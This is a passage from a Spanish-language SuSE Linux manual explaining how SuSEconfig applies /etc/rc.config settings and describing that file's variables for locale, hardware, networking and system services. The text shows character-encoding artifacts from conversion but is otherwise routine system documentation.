  27954.  
  27955.                            Entonces si se realizan cambios en /etc/rc.config, se debe ejecutar poste-
  27956.                            riormente SuSEconfig , para asegurar, que los datos prefijados act·en en todos
  27957.                            los sitios correspondientes. Si se cambia la configuraci≤n con YaST , entonces
  27958.                            no  hay  que  preocuparse  expresamente  de  esto;  YaST   ejecuta  automßtica-
  27959.                            mente SuSEconfig , con lo cual se actualizan los ficheros correspondientes.
  27960.  
  27961.                            Este  concepto  permite  realizar  cambios  fundamentales  en  la  configuraci≤n
  27962.                            de la computadora, sin necesidad de arrancar de nuevo; no obstante algunos
  27963.                            cambios son muy profundos y, seg·n las circunstancias, algunos programas
  27964.                            tienen que ser arrancados nuevamente.  Este procedimiento se describe p. ej.
  27965.                            en la configuraci≤n de la red (ver apartado 5.2 en la pßgina 157Configuraci≤n
  27966.                            manual de la red ~ ┐D≤nde tocar?section.5.2), donde con la utilizaci≤n de los
  27967.                            comandos
  27968.  
  27969.                                  tierra:  #  /sbin/init.d/network  stop
  27970.                                  tierra:  #  /sbin/init.d/network  start
  27971.                            se conseguφa que los programas afectados por los cambios se arrancaran de
  27972.                            nuevo.  Como se puede observar, los Init-scripts tambiΘn pueden ser ejecuta-
  27973.                            dos manualmente.
  27974.  
  27975.                            Generalmente para la configuraci≤n del sistema se aconseja el siguiente pro-
  27976.                            cedimiento:
  27977.  
  27978.                              o   Conmutar el sistema en el ''single user mode'':
  27979.                                       tierra:  #  init  S
  27980.  
  27981.                                  Alternativamente  se  puede  usar  el  Runlevel  1,  el  cual  permite  ademßs
  27982.                                  realizar un login desde varias consolas:
  27983.                                       tierra:  #  init  1
  27984.  
  27985.                              o   Realizar los cambios requeridos en el fichero de configuraci≤n /etc/rc.
  27986.                                  config.  Esto  se  puede  hacer  con  cualquier  editor  o  con  YaST  bajo  el
  27987.                                  punto `Modificar  fichero  de  configuraci≤n' (ver apartado 17.6
  27988.                                  en la pßgina siguiente).
  27989.  
  27990.                              o   Ejecutar SuSEconfig , para realizar los cambios en los diferentes ficheros
  27991.                                  de  configuraci≤n.  Esto  ocurre  automßticamente  si  el  fichero  /etc/rc.
  27992.                                  config es modificado con YaST .
  27993.  
  27994.                              o   Regresar el sistema al Runlevel anterior:
  27995.                                       tierra:  #  init  2
  27996.  
  27997.  
  27998. 436
  27999.        ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema___________________*
  28000.  *______________________
  28001.  
  28002.  
  28003.  
  28004. Este procedimiento solo es necesario en caso de cambios amplios en la con-
  28005. figuraci≤n  del  sistema  (p. ej.  configuraci≤n  de  la  red);  para  tareas  sencillas
  28006. de administraci≤n no hace falta entrar en el ''single user mode'';  sin embar-
  28007. go, asφ se asegura que todos los programas afectados por las modificaciones
  28008. arranquen de nuevo.
  28009.        _______________________________________________________________________________________________________________________||
  28010.        ||||||||  Para desconectar siempre la configuraci≤n automßtica vφa SuSEconfig , se                       |||            |
  28011.        ||||||||                                                                                                 ||             |
  28012.        ||||||||  puede  activar  la  variable  <ENABLE`SUSECONFIG>  en  la  /etc/rc.                            ||             |
  28013.        ||||||||  config (ver la advertencia en en esta pßgina).  TambiΘn es posible, medi-                      ||             |
  28014.        ||||||||                                                                                                 ||             |
  28015.        ||||||||  ante variables adecuadas de rc.config deshabilitar la configuraci≤n au-                        ||             |
  28016.        ||||||||  tomßtica selectivamente.                                                                       ||             |
  28017.        ||||||||_______________________________________________________________________________________________________________||_
  28018.  
  28019.  
  28020.  
  28021. 17.6        Las variables en /etc/rc.config
  28022.  
  28023.  
  28024. A  continuaci≤n  se  comentarßn  brevemente  los  parßmetros  individuales  del
  28025. sistema y sus estados.  Si no se trata el fichero de configuraci≤n /etc/rc.
  28026. config  con  YaST ,  se  ha  de  tener  cuidado  de  anotar  un  parßmetro  vacφo
  28027. como  dos  comillas  consecutivas  (p. ej.  KEYTABLE=""          )  y  de  anotar  tambiΘn
  28028. los parßmetros que contienen espacios entre comillas.  Para variables que se
  28029. componen de una palabra no hace falta hacerlo.
  28030.  
  28031. En la siguiente descripci≤n, cada parßmetro tiene un valor para explicar las
  28032. posibles variaciones:
  28033.  
  28034.  
  28035.  
  28036. Configuraciones bßsicas
  28037.  
  28038.  
  28039.   o   ENABLE_SUSECONFIG=yes
  28040.       Determina si SuSEconfig tiene que realizar una configuraci≤n. No se debe
  28041.       apagar nunca si se quiere utilizar el soporte de instalaci≤n ;-)
  28042.  
  28043.   o   MAIL_REPORTS_TO=tux
  28044.       Determina a quiΘn envφa SuSEconfig informes para la administraci≤n del
  28045.       sistema vφa +  E-Mail.
  28046.  
  28047.   o   GMT=-u
  28048.       Si el Hardware-Reloj estß  fijado a GMT (Greenwich Mean Time), se fija
  28049.       esta variable a -u  4 , sino se deja vacφa.  Este ajuste es importante para el
  28050.       cambio automßtico de tiempo de verano a invierno y viceversa.
  28051.  
  28052.   o   TIMEZONE=CET
  28053.       La franja horaria donde se vive.  Es importante tambiΘn para el cambio
  28054.       automßtico de tiempo de verano a invierno y viceversa.
  28055.  
  28056.   o   LANGUAGE="german"
  28057.       Lo  define  YaST ,  cuando  se  ha  hecho  una  modificaci≤n  al  respecto
  28058.       con  `Eligir  el  idioma'  (ver  apartado  3.3.1  en  la  pßgina  84Definir
  28059.       el  idiomasubsection.3.3.1).     El  valor  que  se  define  aquφ  sirve  tam-
  28060.       biΘn  de  referencia  cuando  no  estßn  definidos  ni  LANG     ni  las  variables
  28061.       LC_*   ;   en  tal  caso  el  valor  indicado  se  resuelve  mediante  el  fichero
  28062.       /usr/share/locale/locale.alias.
  28063. 4      ____________________________________________________
  28064.   El -u  es una abreviatura para universal time.
  28065.  
  28066.  
  28067.                                                                                                                                    *
  28068.  *   437
  28069. 17.  El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
  28070.  *_______________________________________@
  28071.  
  28072.  
  28073.  
  28074.                              o   RC_LANG="de_DE"
  28075.                                  Define LANG para locale ; con ello es posible definir un valor por defecto
  28076.                                  para los usuarios. Este valor es vßlido hasta el momento en que se definan
  28077.                                  algunas variables RC_LC_*       especiales.
  28078.                                  Las variables tφpicas de rc.config son:  RC_LC_ALL         (íCon esta ·ltima
  28079.                                  se  puede  sobre-escribir  la  LC_*  tal  como  la  LANG!),  RC_LC_MESSAGES            ,
  28080.                                  RC_LC_CTYPE          ,   RC_LC_MONETARY             ,   RC_LC_NUMERIC            ,   RC_LC_TIME   *
  28081.  *        y
  28082.                                  RC_LC_COLLATE           .
  28083.                                  Ver pßgina del manual de locale       (man  5  locale         ).
  28084.  
  28085.                              o   ROOT_USES_LANG="no"
  28086.                                  Esto es para definir si tambiΘn se deben usar los ajustes tipo locale  para
  28087.                                  `root'.
  28088.  
  28089.                              o   INIT_SCRIPT_USE_LANG="no"
  28090.                                  ┐Usarlocale en scripts de tipo init    ? Mejor no hacerlo ;-)
  28091.  
  28092.                              o   ENABLE_SYSRQ="no"
  28093.                                  Observar el interior del kernel;  antes de activarlo es imprescindible leer
  28094.                                  /usr/src/linux/Documentation/sysrq.txt!
  28095.  
  28096.  
  28097.                            Inicializar hardware local (Teclado, modem, mouse, PCMCIA etc.)
  28098.  
  28099.                              o   KEYTABLE=de-latin1-nodeadkeys
  28100.                                  Define la distribuci≤n del teclado.
  28101.  
  28102.                              o   KBD_NUMLOCK=no
  28103.                                  |_____________|BloqnoNumconectar en el proceso de arranque.
  28104.  
  28105.                              o   KBD_CAPSLOCK=no
  28106.                                  |________________|BloqnoMay·sconectar en el proceso de arranque.
  28107.  
  28108.                              o   KBD_TTY="tty1  tty2__tty3__tty4  tty5__tty6"______
  28109.                                  El efecto de |B____________l|oqy Num|_____________B|loqseMay·spuede restringir a determinados
  28110.                                  TTY's;
  28111.                                  "" representa todos los TTY's
  28112.  
  28113.                              o   KBD_RATE=30
  28114.                                  Determina la velocidad de repetici≤n de teclas.  Posibles configuraciones
  28115.                                  son  de  2  a  30  veces  por  segundo.   Para  que  tengan  efecto  los  valores
  28116.                                  determinados,  al  mismo  tiempo  se  tiene  que  determinar  el  retardo  (ver
  28117.                                  KBD_DELAY        )!
  28118.  
  28119.                              o   KBD_DELAY=250
  28120.                                  Aquφ se puede introducir el retardo,  despuΘs de que entre la funci≤n de
  28121.                                  repetici≤n.  El valor es en milisegundos, pero los pasos no son muy exac-
  28122.                                  tos. TambiΘn se tiene que fijar KBD_RATE       !
  28123.  
  28124.                              o   CONSOLE_FONT=mr.fnt
  28125.                                  La fuente que se debe cargar para la consola. No todas las fuentes sopor-
  28126.                                  tan la diΘresis alemana! Con YaST se pueden probar tranquilamente todas
  28127.                                  las fuentes y fijar la que mßs guste. Ajustes adicionales se realizan medi-
  28128.                                  ante: CONSOLE_SCREENMAP                , CONSOLE_UNICODEMAP                 y CONSOLE_MAGIC       *
  28129.  *     .
  28130.  
  28131.                              o   MODEM=/dev/ttyS1
  28132.                                  La interface a la cual estß conectado el modem.  Desde YaST  o  SuSEc-
  28133.                                  onfig se crea  un enlace desde /dev/modem al device determinado.
  28134.  
  28135.  
  28136. 438
  28137.        ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema___________________*
  28138.  *______________________
  28139.  
  28140.  
  28141.  
  28142.   o   MOUSE=/dev/ttyS2
  28143.       La interfaz a la cual estß conectado el mouse. Desde YaST o  SuSEconfig
  28144.       se crea  un enlace desde /dev/mouse al device determinado.
  28145.  
  28146.   o   START_GPM=yes
  28147.       Controla  si  se  inicia  el  soporte  del  mouse  para  la  consola;  con  ello  se
  28148.       puede transferir texto mediante el mouse entre diferentes consolas. GPM
  28149.       presenta problemas al trabajar con algunos mouse de Bus,  por tanto,  si
  28150.       ocurren problemas con el mouse al manejar X, se deberφa dejar de iniciar
  28151.       GPM  o utilizar directamente xdm , ya que en el Runlevel 3 generalmente
  28152.       no se ejecuta GPM .
  28153.  
  28154.   o   GPM_PARAM="  -t  logi  -m  /dev/mouse"
  28155.       Los parßmetros para el GPM ; normalmente se abastecen de YaST .
  28156.  
  28157.   o   PCMCIA=i82365
  28158.       Sirve  para  ajustar  el  chipset;  valores  vßlidos  son  i82365       o  tcic   .   Si
  28159.       se  define  la  variable  como  "" ,  no  arranca  el  PCMCIA-Subsystem.   Es
  28160.       posible realizar ajustes finos mediante las variables PCMCIA_PCIC_OPTS
  28161.       y PCMCIA_CORE_OPTS               .
  28162.  
  28163.   o   START_ISAPNP=yes
  28164.       Inicializar ISA PnP durante el arranque.
  28165.  
  28166.   o   INITRD_MODULES="aic7xxx"
  28167.       Los nombres de los m≤dulos que el kernel debe cargar durante el arranque
  28168.       (p. ej. para  poder  acceder  al  disco  duro).   Todas  las  entradas  razonables
  28169.       y  necesarias  se  efect·an  durante  la  instalaci≤n  o  la  actualizaci≤n;  ver
  28170.       apartado 16.2 en la pßgina 411Arrancar con ''initial ramdisk''section.16.2.
  28171.  
  28172.   o   START_KERNELD=yes
  28173.       Esta opci≤n determina si se inicia automßticamente el daemon del kernel
  28174.       cuando  arranca  la  computadora  o  no.   Este  daemon  se  encarga  de  lev-
  28175.       antar m≤dulos de kernel seg·n necesidad.  Con el kernel estßndar actual
  28176.       (versi≤n  2.2.xx)  no  se  necesita  kerneld .     ~  En  el  apartado  13.2  en  la
  28177.       pßgina 351Kmod  ~ el ''Kernel Module Loader''section.13.2 hay una in-
  28178.       troducci≤n corta sobre el concepto de m≤dulos.
  28179.  
  28180.  
  28181. Configurar e iniciar servicios de red y locales
  28182.  
  28183.   o   START_LOOPBACK=yes
  28184.       Determina si se instala una Mini-Red, en la cual se configura el denom-
  28185.       inado Loopback-Device.  Deberφa ser activado ya que muchos programas
  28186.       necesitan esta funcionalidad 5 .
  28187.  
  28188.   o   CHECK_ETC_HOSTS=yes
  28189.       Determina si SuSEconfig ha de comprobar y modificar /etc/hosts.
  28190.  
  28191.   o   BEAUTIFY_ETC_HOSTS=no
  28192.       Si quiere que SuSEConfig se encargue de ordenar /etc/hosts.
  28193.  
  28194.   o   SETUPDUMMYDEV=yno
  28195.       Determina si el Dummy-Device debe estar instalado; esto es ·til en casos
  28196.       de conexiones no-permanentes de red (p. ej.  SLIP oder PPP), sin embargo,
  28197.       si tiene una tarjeta Ethernet, a veces esta funci≤n deja de ser ·til.
  28198. 5      ____________________________________________________
  28199.   Naturalmente el Kernel debe dar soporte de red l!
  28200.  
  28201.  
  28202.                                                                                                                                    *
  28203.  *   439
  28204. 17.  El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
  28205.  *_______________________________________@
  28206.  
  28207.  
  28208.  
  28209.                              o   CREATE_HOSTCONF=yes
  28210.                                  Determina  si  SuSEconfig  ha  de  comprobar  y  modificar  /etc/host.
  28211.                                  conf.
  28212.                              o   CREATE_RESOLVCONF=yes
  28213.                                  Determina si SuSEconfig ha de comprobar y modificar la /etc/resolv.conf.
  28214.                                  Si yes    estß activado y una de las variables SEARCHLIST           o NAMESERVER
  28215.                                  estß  vacφa,  entonces  se  supone  que  ning·n  DNS  es  requerido  y  /etc/
  28216.                                  resolv.confpuede ser borrado. En el caso de que se active no  , entonces
  28217.                                  se deja /etc/resolv.conf sin modificar.
  28218.                              o   NETCONFIG=_0
  28219.                                  Determina  cußntas  tarjetas  (u  otros  dispositivos  de  red)  tiene  instalada
  28220.                                  la  computadora.   Aquφ  se  indica  el  ejemplo  para  una  tarjeta  de  red  (se
  28221.                                  enumeran  empezando  por  0);  en  una  mßquina  con  dos  tarjetas  deberφa
  28222.                                  aparecer  NETCONFIG="_0  _1"              .  En  una  computadora  sin  tarjeta  de  red
  28223.                                  no se introduce nada.
  28224.                              o   IPADDR_0=193.141.17.202
  28225.                                  La direcci≤n-IP para la primera tarjeta de red.
  28226.                              o   NETDEV_0=eth0
  28227.                                  El nombre del primer dispositivo de red (normalmente una tarjeta de red
  28228.                                  Ethernet),  por  esto  el  valor  eth0   .   Otros  posibles  valores  son  str1     o
  28229.                                  plip1    . Si la computadora dispone de mßs de una tarjeta de red, se activan
  28230.                                  paralelamente las variables NETDEV`1 hasta NETDEV`3.
  28231.                              o   IFCONFIG_0="193.141.17.205  broadcast  193.141.17.255
  28232.                                  netmask  255.255.255.192"
  28233.                                  El  comando  de  configuraci≤n  para  el  primer  dispositivo  de  red.  Se  ac-
  28234.                                  tiva muy fßcilmente con YaST . Si se tiene mßs de una tarjeta de red se
  28235.                                  introducen aquφ las correspondientes variables en la lφnea de comandos.
  28236.                              o   NETWORK_0="-net  193.141.17.0"
  28237.                                  La  direcci≤n  de  red  para  la  primera  tarjeta.   Si  se  utilizan  conexiones
  28238.                                  Point-To-Point  (p. ej.   con  PLIP)  YaST   pone  esta  variable  al  valor
  28239.                                  "-host  193.141.17.202"                   ,  que  corresponde  a  la  direcci≤n  IP  de  la
  28240.                                  contraparte PPP.
  28241.                              o   CLOSE_CONNECTIONS=false
  28242.                                  Si  estß  activado  true      y  el  ''Runlevel''  es  0  ≤  6  (halt      o  reboot      ),
  28243.                                  /sbin/init.d/route                 envφa  una  se±al  SIGTERM        a  todos  los  procesos
  28244.                                  que tienen una conexi≤n ''remote tcp''- o ''udp'' abierta.
  28245.                              o   IP_DYNIP=no
  28246.                                  Activar el ''dynamic IP patch'' durante el tiempo de arranque; con yes    el
  28247.                                  script /sbin/init.d/boot libera este parche mediante una entrada en
  28248.                                  el sistema de ficheros /proc.
  28249.                              o   IP_TCP_SYNCOOKIES=yes
  28250.                                  Activar la protecci≤n contra ''Syn Flooding'' (ingl. syn flood protection).
  28251.                              o   IP_FORWARD=no
  28252.                                  Para que la computadora pase informaci≤n a travΘs de dos interfaces de
  28253.                                  red, la variable IP_FORWARD          debe estar en yes   .  Se trata de algo deseado
  28254.                                  o  quizßs  necesario  en  el  caso  de  un  enrutador  o  para  ''Masquerading''.
  28255.                                  El script /sbin/init.d/boot pone en funcionamiento ''IP-Forwarding''
  28256.                                  mediante una entrada en el sistema de ficheros /proc.
  28257.  
  28258.  
  28259. 440
  28260.      ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema_____________________*
  28261.  *____________________
  28262.  
  28263.  
  28264.  
  28265. o   FQHOSTNAME=tierra.cosmos.univ
  28266.     El  nombre  totalmente  cualificado,  es  decir,  el  nombre  completo  com-
  28267.     puesto de nombre de computadora y nombre de dominio.
  28268.  
  28269. o   SEARCHLIST=cosmos.univ
  28270.     Este  comando  se  utiliza  para  completar  un  nombre  de  un  Host  que
  28271.     no  lo  estΘ.    Si  se  utiliza  p. ej.   el  nombre  venus,  se  comprueba  si
  28272.     venus.cosmos.univ es un nombre vßlido para una computadora.  Esta
  28273.     variable tiene que ser suministrada si se quiere utilizar DNS! Como mφni-
  28274.     mo se debe introducir su nombre de dominio. Se pueden introducir hasta
  28275.     tres comandos en la ''searchlist'', que deben estar separados por espacios
  28276.     vacφos.
  28277.  
  28278. o   NAMESERVER=193.141.17.193
  28279.     La direcci≤n del Name-Server, la cual pregunta si el nombre de la com-
  28280.     putadora  debe  ser  convertido  en  una  direcci≤n  IP.  Se  pueden  introducir
  28281.     hasta 3 Nameserver, donde sus direcciones estßn separadas por espacios
  28282.     vacφos.
  28283.     Si  se  quiere  utilizar  un  Nameserver,  se  debe  dar  un  valor  a  la  variable
  28284.     SEARCHLIST         !
  28285.  
  28286. o   ORGANIZATION="Duck,  Patolandia"
  28287.     El  texto  introducido  aquφ  aparece  en  cada  News-Posting  que  se  envφa
  28288.     desde   la computadora correspondiente.
  28289.  
  28290. o   NNTPSERVER=sol.cosmos.univ
  28291.     La direcci≤n del Servidor de Noticias; si se recibe las noticias vφa UUCP
  28292.     y se almacenan localmente, se debe introducir aquφ localhost        .
  28293.  
  28294. o   IRCSERVER=sol.cosmos.univ
  28295.     Aquφ se pueden introducir varios IRC-Server (Internet Relay Chat).  Los
  28296.     nombres de los diferentes servidores se separan aquφ mediante espacios.
  28297.  
  28298. o   START_INETD=yes
  28299.     Activa el ''s·per-daemon'' del tipo inetd , que reacciona frente a peticiones
  28300.     de  conexi≤n  por  parte  de  otras  computadoras  e  inicia,  seg·n  el  puerto
  28301.     elegido, el servicio correspondiente.  Se necesita para poder acceder a la
  28302.     computadora vφa rlogin  o telnet .  No obstante, se pone START_INETD           en
  28303.     no  , si se quiere usar el xinetd  (ver a en esta pßgina).
  28304.  
  28305. o   START_XINETD=no
  28306.     Activa el ''s·per-daemon'' xinetd , el inetd  extendido (ver en esta pßgina).
  28307.     Usando  este  ''extended  Internet  services  daemon'',  START_INETD           debe
  28308.     estar seleccionado con el valor no  .
  28309.  
  28310. o   SENDMAIL_xxxx=
  28311.     El significado de las variables en sendmail  se explica en apartado 6.8 en
  28312.     la pßgina 204Vamos a escribir ~ Configuraci≤n de sendmailsection.6.8.
  28313.  
  28314. o   START_POSTFIX=no
  28315.     Activa el servidor de correo postfix .  Las variables que le corresponden
  28316.     son
  28317.     POSTFIX_CREATECF               , POSTFIX_RELAYHOST                ,
  28318.     POSTFIX_MASQUERADE_DOMAIN                        y POSTFIX_LOCALDOMAINS                  .
  28319.  
  28320. o   SMTP=no
  28321.     Determina si el daemon de Sendmail debe correr.  No hace falta activar
  28322.  
  28323.  
  28324.                                                                                                                                    *
  28325.  * 441
  28326. 17.  El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
  28327.  *_______________________________________@
  28328.  
  28329.  
  28330.  
  28331.                                  esta  opci≤n  si  recibe  su  E-Mail  exclusivamente  por  UUCP,  suponiendo
  28332.                                  que ejecuta sendmail  -q          despuΘs de cada recepci≤n de correo (polling),
  28333.                                  ya que UUCP llama a rmail      y Θste solamente coloca el mensaje adentro
  28334.                                  de la cola de recepci≤n pero no lo ''entrega''.  En una red, en la que todos
  28335.                                  los directorios de recepci≤n de mensajes se montan vφa NFS y donde cada
  28336.                                  computadora no tiene mßs que mensajes salientes, esta variable tambiΘn
  28337.                                  puede estar en no  ; lo mismo es vßlido usando un ''Relay Hosts''.
  28338.  
  28339.                              o   START_PORTMAP=no
  28340.                                  La  variable  determina  si  el  ''Portmapper''  (mapeador  de  puertos)  debe
  28341.                                  arrancar,  lo  que  hace  falta  si  la  computadora  debe  actuar  como  servi-
  28342.                                  dor NFS   (ver apartado 5.5 en la pßgina 168NFS ~ sistemas de ficheros
  28343.                                  distribuidossection.5.5).     Sin  el  Portmapper  no  se  pueden  arrancar  los
  28344.                                  daemons rpc.mountd  y rpc.nfsd , por lo que el Portmapper se inicia tam-
  28345.                                  biΘn cuando esta variable vale no   con NFS_SERVER          activado. El Portmap-
  28346.                                  per  tambiΘn  es  necesario  para  usar  NIS   (ver  apartado  5.4  en  la  pßgi-
  28347.                                  na 166NIS, las pßginas amarillas del LANsection.5.4).
  28348.  
  28349.                              o   NFS_SERVER=no
  28350.                                  Poner esta variable en yes    para que la computadora act·e como servidor
  28351.                                  NFS. El efecto es el inicio de lo daemons rpc.nfsd  y rpc.mountd .    Hay
  28352.                                  mßs explicaciones detalladas sobre el funcionamiento de un servidor NFS
  28353.                                  (p. ej.  la definici≤n de los directorios a exportar) en al apartado 5.5 en la
  28354.                                  pßgina 168NFS ~ sistemas de ficheros distribuidossection.5.5.
  28355.  
  28356.                              o   REEXPORT_NFS=no
  28357.                                  Poner  el  valor  de  esta  variable  a  yes  ,  para  poder  reexportar  directorios
  28358.                                  montados del tipo NFS o NetWare.
  28359.  
  28360.                              o   NFS_SERVER_UGID=yes
  28361.                                  Aquφ se determina si el daemon para la conversi≤n de los IDs de usuario
  28362.                                  y grupo (rcp.ugidd ) se debe activar; hay que activar este servicio sobre el
  28363.                                  cliente NFS en cuesti≤n.
  28364.  
  28365.                              o   USE_KERNEL_NFSD="no"
  28366.                                  Es posible usar el daemon NFS basado en el kernel, si el paquete knfsd
  28367.                                  estß instalado. Este daemon permite ''Locking''; ver la variable correspon-
  28368.                                  diente USE_KERNEL_NFSD_NUMBER                    .
  28369.  
  28370.                              o   START_AMD=no
  28371.                                  Iniciar el Automounter; si no existen buenas razones para ello, es preferi-
  28372.                                  ble usar el m≤dulo del kernel autofs (ver mßs abajo en esta pßgina).
  28373.  
  28374.                              o   START_AUTOFS=no
  28375.                                  Este  daemon  permite  montar  automßticamente  directorios  locales  (lec-
  28376.                                  tores CD-ROM, Disqueteras, etc.)  al igual que aquellos que se accedan
  28377.                                  vφa NFS. El paquete autofs, serie n debe estar instalado y configurado.
  28378.  
  28379.                              o   START_RWHOD=no
  28380.                                  Decide  sobre  el  arranque  de  rwhod .   Se  debe  tener  cuidado,  ya  que  el
  28381.                                  rwhod  envφa continuamente ''Broadcasts'' que pueden provocar costes si
  28382.                                  se levantan conexiones por demanda de RDSI y/o diald .
  28383.  
  28384.                              o   START_ROUTED=no
  28385.                                  Este daemon de encaminar (ingl. route daemon) solo se necesita para el
  28386.                                  ''routing'' dinßmico (ver pßgina del manual de routed       (man  routed        )).
  28387.  
  28388.  
  28389. 442
  28390.      ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema_____________________*
  28391.  *____________________
  28392.  
  28393.  
  28394.  
  28395.     íAtenci≤n!  se trata de un servicio que provoca trßfico de red cada 30 se-
  28396.     gundos.  Por eso carece completamente de sentido activar la opci≤n con
  28397.     yes    si la computadora estß conectada a Internet por Dialup (p. ej.  RDSI).
  28398.  
  28399. o   START_NSCD=yes
  28400.     Iniciar durante el arranque el daemon NSCD (ingl. Name Service Caching
  28401.     Daemon).
  28402.  
  28403. o   START_NAMED=no
  28404.     Determina si arranca o no el daemon de nombre.
  28405.  
  28406. o   CREATE_YP_CONF=yes
  28407.     Aquφ se define si SuSEconfig  debe generar automßticamente los ficheros
  28408.     necesarios  para  el  uso  de  YP   (ver  apartado  5.4  en  la  pßgina  166NIS,
  28409.     las  pßginas  amarillas  del  LANsection.5.4)  .   Ademßs  se  adaptan  seg·n
  28410.     necesidad los ficheros de configuraci≤n /etc/passwd y /etc/group.
  28411.  
  28412. o   YP_DOMAINNAME=cosmos.univ
  28413.     El  nombre  de  dominio  YP  de  la  computadora.     Hay  informaci≤n  mßs
  28414.     detallada en el apartado 5.4 en la pßgina 166NIS, las pßginas amarillas
  28415.     del LANsection.5.4.
  28416.  
  28417. o   YP_SERVER=sol.cosmos.univ
  28418.     El nombre del servidor NIS.
  28419.  
  28420. o   USE_NIS_FOR_RESOLVING=no
  28421.     Usar o no usar NIS para resolver los nombres de las computadores.
  28422.  
  28423. o   START_CIPED=no
  28424.     Iniciar el daemon CIPE para un t·nel IPIP.
  28425.  
  28426. o   START_DHCPD=no
  28427.     Iniciar  el  servidor  de  DHCP  (ingl.  Dynamic  Host  Configuration  Proto-
  28428.     col).  A esta configuraci≤n pertenecen las variables DHCPD_INTERFACE              ,
  28429.     START_DHCRELAY              y DHCRELAY_SERVERS               .
  28430.  
  28431. o   START_LDAP=no
  28432.     Iniciar el servidor LDAP.
  28433.  
  28434. o   START_RADIUSD=yes
  28435.     Iniciar Radius-Accounting y Authentication Service.  Existen p. ej.  deter-
  28436.     minados servidores Dialin que usan este servicio para la autentificaci≤n
  28437.     de usuario; ver la documentaci≤n en /usr/doc/packages/radiusd.
  28438.  
  28439. o   START_LPD=yes
  28440.     Iniciar el daemon de impresi≤n lpd  (ingl. Line Printer Daemon), que se
  28441.     necesita generalmente para imprimir.
  28442.  
  28443. o   START_NNTPD=yes
  28444.     Iniciar nntpd , que permite el acceso a noticias locales vφa NNTP.
  28445.  
  28446. o   START_INN=no
  28447.     Iniciar servidor de noticias INN.
  28448.  
  28449. o   START_ATD=yes
  28450.     Con  esta  variable  se  puede  iniciar  el  daemon  AT.  Este  permite  ejecutar
  28451.     ciertas tareas en un determinado momento.  En comparaci≤n al daemon
  28452.     Cron, se trata de una acci≤n que se realiza una sola vez.
  28453.  
  28454. o   START_HTTPD=yes
  28455.     Indica si se debe iniciar el daemon http Apache.
  28456.  
  28457.  
  28458.                                                                                                                                    *
  28459.  * 443
  28460. 17.  El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
  28461.  *_______________________________________@
  28462.  
  28463.  
  28464.  
  28465.                              o   START_HTTPSD=yes
  28466.                                  Determina si se debe iniciar el servidor web ''seguro'' Apache-httpsd us-
  28467.                                  ando SSL y PHP3.
  28468.  
  28469.                              o   START_SQUID=no
  28470.                                  Indica si Squid debe iniciarse.
  28471.  
  28472.                              o   DOC_HOST=""
  28473.                                  Si existe un servidor central con documentaci≤n que contiene el sistema
  28474.                                  de  ayuda  de  SuSE    ,  se  deberφa  indicar  aquφ  el  nombre  del  mismo  p. ej.
  28475.                                  "sol.cosmos.univ"               .
  28476.  
  28477.                              o   DOC_SERVER=no
  28478.                                  El servidor que lleva la documentaci≤n debe tener esta variable definida
  28479.                                  en  yes   .   En  este  caso  el  acceso  a  http-rman  se  otorga  en  funci≤n  de
  28480.                                  las  indicaciones  en  DOC_ALLOW         (ver  la  pr≤xima  variable)  y  los  ficheros
  28481.                                  de  φndice  del  servidor  se  reconfiguran  al  respecto.   En  lugar  de  indicar
  28482.                                  http://localhost indicarßn http://`hostname-f`.
  28483.  
  28484.                              o   DOC_ALLOW="LOCAL"
  28485.                                  Lista  de  las  computadoras  o  de  los  dominios  como  plantilla  de  /etc/
  28486.                                  hosts.allow, para determinar aquellas que tienen acceso al servidor de
  28487.                                  documentaci≤n.    La  variable  solo  se  contempla  cuando  DOC_SERVER
  28488.                                  estß   en   yes  .      TambiΘn   es   posible   indicar   un   sub-dominio   (p. ej.
  28489.                                  ".cosmos.univ"            ).
  28490.  
  28491.                              o   HTTP_PROXY=""
  28492.                                  Hay  algunos  programas  (p. ej.  lynx ,  arena  o  wget )  que  son  capaces  de
  28493.                                  usar un servidor proxy si esta variable estß configurada al respecto.
  28494.                                  SuSEconfig puede definirla en /etc/SuSEconfig/* (ver en el banco de
  28495.                                  datos de soporte SDB
  28496.                                  http://sdb.suse.de/sdb/de/html/lynx_proxy.html).   Ejemplo:
  28497.                                  "http://proxy.provider.de:3128/"                             .
  28498.  
  28499.                              o   FTP_PROXY=""
  28500.                                  Proxy para FTP. Ejemplo: "http://proxy.provider.de:3128/"                             .
  28501.  
  28502.                              o   GOPHER_PROXY=""
  28503.                                  Proxy para Gopher. Ejemplo: "http://proxy.provider.de:3128/"                             .
  28504.  
  28505.                              o   NO_PROXY=""
  28506.                                  Con  esta  variable  es  posible  excluir  sub-dominios  del  proxy.   Ejemplo:
  28507.                                  "www.me.de,  do.main,  localhost"                          .
  28508.  
  28509.                              o   START_HYLAFAX=no
  28510.                                  Con  esa  variable  se  inicia  Hylafax.   Antes  de  ponerla  en  yes    hay  que
  28511.                                  ejecutar faxsetup .
  28512.  
  28513.                              o   START_SMB=no
  28514.                                  Iniciar el servidor Samba, que es un servidor de ficheros y de impresi≤n
  28515.                                  para clientes Windows.
  28516.  
  28517.                              o   START_MARSNWE=no
  28518.                                  Indica si se debe iniciar la emulaci≤n de servidor de Novell
  28519.  
  28520.                              o   START_SSHD=yes
  28521.                                  Iniciar el ''Secure Shell Daemon''; antes de iniciarlo asegure la existencia
  28522.                                  de un ''host key'' ~ ver la documentaci≤n en /usr/doc/packages/ssh
  28523.                                  y las Manpages.
  28524.  
  28525.  
  28526. 444
  28527.      ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema_____________________*
  28528.  *____________________
  28529.  
  28530.  
  28531.  
  28532. o   START_XNTPD=yes
  28533.     Inicia el ''Network Time Protocol (NTP) Daemon'' del paquete xntp; la
  28534.     configuraci≤n misma se realiza en el fichero /etc/ntp.conf.
  28535.  
  28536.     Los relojes de ajuste automßtico vφa onda electromagnΘtica (''Reloj at≤mi-
  28537.     co'') tienen direcciones IP de la forma wert127.127.T.U. T  representa el
